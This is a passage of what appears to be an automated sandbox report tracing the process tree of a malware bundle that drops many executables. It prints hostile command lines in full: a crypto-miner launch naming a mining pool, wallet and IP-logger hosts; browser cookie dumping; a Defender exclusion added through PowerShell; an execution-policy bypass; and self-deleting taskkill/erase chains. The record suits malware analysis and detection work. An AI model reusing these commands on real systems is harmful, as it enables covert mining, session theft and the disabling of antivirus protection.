        "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
        7⤵
        
        PID:4172
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
        6⤵
        
        PID:6876
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -IM "ecDLy1NDbln6v7JVsQfvOgI7.exe" -f
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1380
- C:\Users\Admin\Documents\eqfQXlwEgqjk3uuKF7no3C7p.exe
  "C:\Users\Admin\Documents\eqfQXlwEgqjk3uuKF7no3C7p.exe"
  2⤵
  - Executes dropped EXE
  PID:736
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "eqfQXlwEgqjk3uuKF7no3C7p.exe" /f & erase "C:\Users\Admin\Documents\eqfQXlwEgqjk3uuKF7no3C7p.exe" & exit
    3⤵
    PID:5584
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "eqfQXlwEgqjk3uuKF7no3C7p.exe" /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5928
- C:\Users\Admin\Documents\kDaXHvvZVGDJV9I0suMAnWms.exe
  "C:\Users\Admin\Documents\kDaXHvvZVGDJV9I0suMAnWms.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3684
- C:\Users\Admin\Documents\v1FwtFtx7XWd4dMYIyla_VJ1.exe
  "C:\Users\Admin\Documents\v1FwtFtx7XWd4dMYIyla_VJ1.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:3488
- - C:\Program Files (x86)\Company\NewProduct\jooyu.exe
    "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
    3⤵
    - Executes dropped EXE
    PID:4340
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:1264
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:6732
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:6972
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:2764
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious use of AdjustPrivilegeToken
    PID:4276
- - C:\Program Files (x86)\Company\NewProduct\customer3.exe
    "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
    3⤵
    - Executes dropped EXE
    PID:4216
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:6968
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:7052
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:5972
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:6744
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:3692
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:7088
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:7512
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:7612
- C:\Users\Admin\Documents\vTUTBKxGdlQ0CJyNdqOMyuj4.exe
  "C:\Users\Admin\Documents\vTUTBKxGdlQ0CJyNdqOMyuj4.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3968
- C:\Users\Admin\Documents\J0kuIvOhl8M2pMO7SzEbsSo1.exe
  "C:\Users\Admin\Documents\J0kuIvOhl8M2pMO7SzEbsSo1.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3472
- C:\Users\Admin\Documents\zCh4Tv7wEG0G9HMSy90L0Gif.exe
  "C:\Users\Admin\Documents\zCh4Tv7wEG0G9HMSy90L0Gif.exe"
  2⤵
  - Executes dropped EXE
  PID:3888
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\0710604200.exe"
    3⤵
    PID:4552
  - - C:\Users\Admin\AppData\Local\Temp\0710604200.exe
      "C:\Users\Admin\AppData\Local\Temp\0710604200.exe"
      4⤵
      Executes dropped EXE
      PID:5696
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\4789867527.exe"
    3⤵
    PID:7160
  - - C:\Users\Admin\AppData\Local\Temp\4789867527.exe
      "C:\Users\Admin\AppData\Local\Temp\4789867527.exe"
      4⤵
      PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "zCh4Tv7wEG0G9HMSy90L0Gif.exe" /f & erase "C:\Users\Admin\Documents\zCh4Tv7wEG0G9HMSy90L0Gif.exe" & exit
    3⤵
    PID:5828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "zCh4Tv7wEG0G9HMSy90L0Gif.exe" /f
      4⤵
      Kills process with taskkill
      PID:6584
- C:\Users\Admin\Documents\DYjacoNBWHXBSpX1yI4OpEUs.exe
  "C:\Users\Admin\Documents\DYjacoNBWHXBSpX1yI4OpEUs.exe"
  2⤵
  - Executes dropped EXE
  PID:1536
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 760
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:4932
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 784
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:1528
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 736
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:5208
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 860
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:5420
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 956
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:5596
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 984
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:5756
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 1000
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:5948
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 1428
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:4560
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 1368
    3⤵
    - Program crash
    PID:5436
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 1384
    3⤵
    - Program crash
    PID:4440
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 1480
    3⤵
    - Program crash
    PID:3808
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 1052
    3⤵
    - Program crash
    PID:6180
- C:\Users\Admin\Documents\GaVhK5YC1oaMzKil_uB4Ubt7.exe
  "C:\Users\Admin\Documents\GaVhK5YC1oaMzKil_uB4Ubt7.exe"
  2⤵
  - Executes dropped EXE
  PID:1820
- - C:\Users\Admin\Documents\GaVhK5YC1oaMzKil_uB4Ubt7.exe
    "C:\Users\Admin\Documents\GaVhK5YC1oaMzKil_uB4Ubt7.exe" -q
    3⤵
    - Executes dropped EXE
    PID:1916
- C:\Users\Admin\Documents\UGu9wlp0dLoN9BlhkUBwUwpp.exe
  "C:\Users\Admin\Documents\UGu9wlp0dLoN9BlhkUBwUwpp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Users\Admin\Documents\YXUTGj1rbqe7ZaihyRKcm_e3.exe
  "C:\Users\Admin\Documents\YXUTGj1rbqe7ZaihyRKcm_e3.exe"
  2⤵
  - Executes dropped EXE
  PID:1656
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 660
    3⤵
    - Program crash
    PID:4324
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 672
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4860
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 680
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 652
    3⤵
    - Program crash
    PID:3624
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 1084
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:3936
- C:\Users\Admin\Documents\S2adwB8YQHI5nIMuEbZ1PpBl.exe
  "C:\Users\Admin\Documents\S2adwB8YQHI5nIMuEbZ1PpBl.exe"
  2⤵
  - Executes dropped EXE
  PID:2324
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2324 -s 488
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    PID:4512
- C:\Users\Admin\Documents\6uJ7kDGY2mN0_z_INHtbrw8d.exe
  "C:\Users\Admin\Documents\6uJ7kDGY2mN0_z_INHtbrw8d.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2560
- - C:\Users\Admin\Documents\6uJ7kDGY2mN0_z_INHtbrw8d.exe
    "C:\Users\Admin\Documents\6uJ7kDGY2mN0_z_INHtbrw8d.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:3448
- C:\Users\Admin\Documents\Eig0VZhpDN6lNmaq8hdSLo8o.exe
  "C:\Users\Admin\Documents\Eig0VZhpDN6lNmaq8hdSLo8o.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:2932
- - C:\Users\Admin\Documents\Eig0VZhpDN6lNmaq8hdSLo8o.exe
    "C:\Users\Admin\Documents\Eig0VZhpDN6lNmaq8hdSLo8o.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5436
- C:\Users\Admin\Documents\DYfaciGGjsxlUNH4QQaLfli1.exe
  "C:\Users\Admin\Documents\DYfaciGGjsxlUNH4QQaLfli1.exe"
  2⤵
  - Executes dropped EXE
  PID:4596
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\DYFACI~1.DLL,s C:\Users\Admin\DOCUME~1\DYFACI~1.EXE
    3⤵
    PID:6476
  - - C:\Windows\SysWOW64\RUNDLL32.EXE
      C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\DYFACI~1.DLL,RDISVTQ=
      4⤵
      PID:6428
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\DYFACI~1.DLL
        5⤵
        
        PID:9112
    - - C:\Windows\SysWOW64\RUNDLL32.EXE
        
        C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\DYFACI~1.DLL,m148cQ==
        5⤵
        
        PID:7724
      - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 31804
        6⤵
        
        PID:7956
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        7⤵
        
        PID:6388
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmpBA93.tmp.ps1"
        5⤵
        
        PID:7052
- C:\Users\Admin\Documents\Wr0qtdKR68nAMIsvlNReNhUZ.exe
  "C:\Users\Admin\Documents\Wr0qtdKR68nAMIsvlNReNhUZ.exe"
  2⤵
  - Executes dropped EXE
  PID:4696
- - C:\Users\Admin\AppData\Local\Temp\is-2I9DI.tmp\Wr0qtdKR68nAMIsvlNReNhUZ.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-2I9DI.tmp\Wr0qtdKR68nAMIsvlNReNhUZ.tmp" /SL5="$20248,138429,56832,C:\Users\Admin\Documents\Wr0qtdKR68nAMIsvlNReNhUZ.exe"
    3⤵
    PID:4888
  - - C:\Users\Admin\AppData\Local\Temp\is-UPO5M.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-UPO5M.tmp\Setup.exe" /Verysilent
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      PID:5720
    - - C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
        5⤵
        Executes dropped EXE
        
        PID:5776
      - C:\Users\Admin\AppData\Local\Temp\is-IGKHR.tmp\Stats.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-IGKHR.tmp\Stats.tmp" /SL5="$3038C,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6084
        
        C:\Users\Admin\AppData\Local\Temp\is-OSJRQ.tmp\builder.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-OSJRQ.tmp\builder.exe" -algo'' -pool'stratum+tcp://xmr-asia1.nanopool.org:14444' -wallet'42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s' -load'50' -idleload'50' -loggerSa'2no.co' -loggerS'1C6Ua7' -loggerRa'iplogger.org' -loggerR'1cmAy7' -loggerWa'2no.co' -loggerW'' -ico'' -glue'' -error'' -worker'' -icrypt'' -sremoval'' -ntask'SystemCheck' -ptask'System\' -atask'Microsoft_Corporation' -dtask'Starts_a_system_diagnostics_application_to_scan_for_errors_and_performance_problems.' -pinstall'Roaming\Microsoft\Windows\' -ninstall'Helper' -sinstall'-SystemCheck'
        7⤵
        
        PID:7060
    - - C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
        5⤵
        Executes dropped EXE
        
        PID:5840
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 756
        6⤵
        Program crash
        
        PID:6148
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 780
        6⤵
        Program crash
        
        PID:4128
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 740
        6⤵
        Program crash
        
        PID:2060
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 832
        6⤵
        Program crash
        
        PID:6784
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 1056
        6⤵
        Program crash
        
        PID:4620
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 1100
        6⤵
        Program crash
        
        PID:2064
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 1084
        6⤵
        Program crash
        
        PID:6288
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 1112
        6⤵
        Program crash
        
        PID:3900
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 1448
        6⤵
        Program crash
        
        PID:7348
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 920
        6⤵
        Program crash
        
        PID:7808
    - - C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        5⤵
        
        PID:5896
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579443 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
        6⤵
        
        PID:2032
    - - C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        5⤵
        Executes dropped EXE
        
        PID:6036
      - C:\Users\Admin\AppData\Local\Temp\is-TH9SP.tmp\WEATHER Manager.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-TH9SP.tmp\WEATHER Manager.tmp" /SL5="$103B6,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        6⤵
        Executes dropped EXE
        
        PID:5432
        
        C:\Users\Admin\AppData\Local\Temp\is-4FR71.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4FR71.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
        7⤵
        
        PID:4624
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-4FR71.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-4FR71.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579443 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
        8⤵
        
        PID:3536
    - - C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
        5⤵
        Executes dropped EXE
        
        PID:5968
      - C:\Users\Admin\AppData\Local\Temp\is-612EV.tmp\VPN.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-612EV.tmp\VPN.tmp" /SL5="$103CE,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
        6⤵
        Executes dropped EXE
        
        PID:5620
        
        C:\Users\Admin\AppData\Local\Temp\is-FEVHQ.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-FEVHQ.tmp\Setup.exe" /silent /subid=720
        7⤵
        
        PID:416
        
        C:\Users\Admin\AppData\Local\Temp\is-QJQ4N.tmp\Setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QJQ4N.tmp\Setup.tmp" /SL5="$1051E,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-FEVHQ.tmp\Setup.exe" /silent /subid=720
        8⤵
        
        PID:4552
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        9⤵
        
        PID:2332
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        10⤵
        
        PID:8880
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        9⤵
        
        PID:7280
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        10⤵
        
        PID:7412
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        9⤵
        
        PID:9772
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        9⤵
        
        PID:9668
    - - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
        5⤵
        Executes dropped EXE
        
        PID:6020
      - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
        6⤵
        
        PID:5452
    - - C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        5⤵
        Executes dropped EXE
        
        PID:5304
      - C:\Users\Admin\AppData\Local\Temp\is-1GKM1.tmp\MediaBurner2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-1GKM1.tmp\MediaBurner2.tmp" /SL5="$2035E,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        6⤵
        Executes dropped EXE
        
        PID:5952
        
        C:\Users\Admin\AppData\Local\Temp\is-18RM8.tmp\ultradumnibour.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-18RM8.tmp\ultradumnibour.exe" /S /UID=burnerch2
        7⤵
        
        PID:932
        
        C:\Program Files\Windows Defender\FLBTRKGUQN\ultramediaburner.exe
        
        "C:\Program Files\Windows Defender\FLBTRKGUQN\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:4236
        
        C:\Users\Admin\AppData\Local\Temp\is-A9R44.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-A9R44.tmp\ultramediaburner.tmp" /SL5="$601FC,281924,62464,C:\Program Files\Windows Defender\FLBTRKGUQN\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:4572
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:7156
        
        C:\Users\Admin\AppData\Local\Temp\3b-0c6fb-fae-d37b2-e41d30ada99df\Jaegaevaebeno.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3b-0c6fb-fae-d37b2-e41d30ada99df\Jaegaevaebeno.exe"
        8⤵
        
        PID:7764
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2260
        9⤵
        
        PID:9576
        
        C:\Users\Admin\AppData\Local\Temp\29-086ad-3d8-e31b8-75a9bab5e66ac\Xyshebawifu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\29-086ad-3d8-e31b8-75a9bab5e66ac\Xyshebawifu.exe"
        8⤵
        
        PID:7056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hytn4pkt.uyf\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:9132
        
        C:\Users\Admin\AppData\Local\Temp\hytn4pkt.uyf\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\hytn4pkt.uyf\GcleanerEU.exe /eufive
        10⤵
        
        PID:4712
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\hytn4pkt.uyf\GcleanerEU.exe" & exit
        11⤵
        
        PID:9468
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:9932
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uxdo2vn0.34l\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:2264
        
        C:\Users\Admin\AppData\Local\Temp\uxdo2vn0.34l\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\uxdo2vn0.34l\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:2936
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wfjwrdse.kw5\anyname.exe & exit
        9⤵
        
        PID:5288
        
        C:\Users\Admin\AppData\Local\Temp\wfjwrdse.kw5\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\wfjwrdse.kw5\anyname.exe
        10⤵
        
        PID:1924
        
        C:\Users\Admin\AppData\Local\Temp\wfjwrdse.kw5\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\wfjwrdse.kw5\anyname.exe" -q
        11⤵
        
        PID:7520
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rpseygdx.thk\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:1368
        
        C:\Users\Admin\AppData\Local\Temp\rpseygdx.thk\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\rpseygdx.thk\gcleaner.exe /mixfive
        10⤵
        
        PID:2036
        
        C:\Windows\SysWOW64\cmd.exe
        
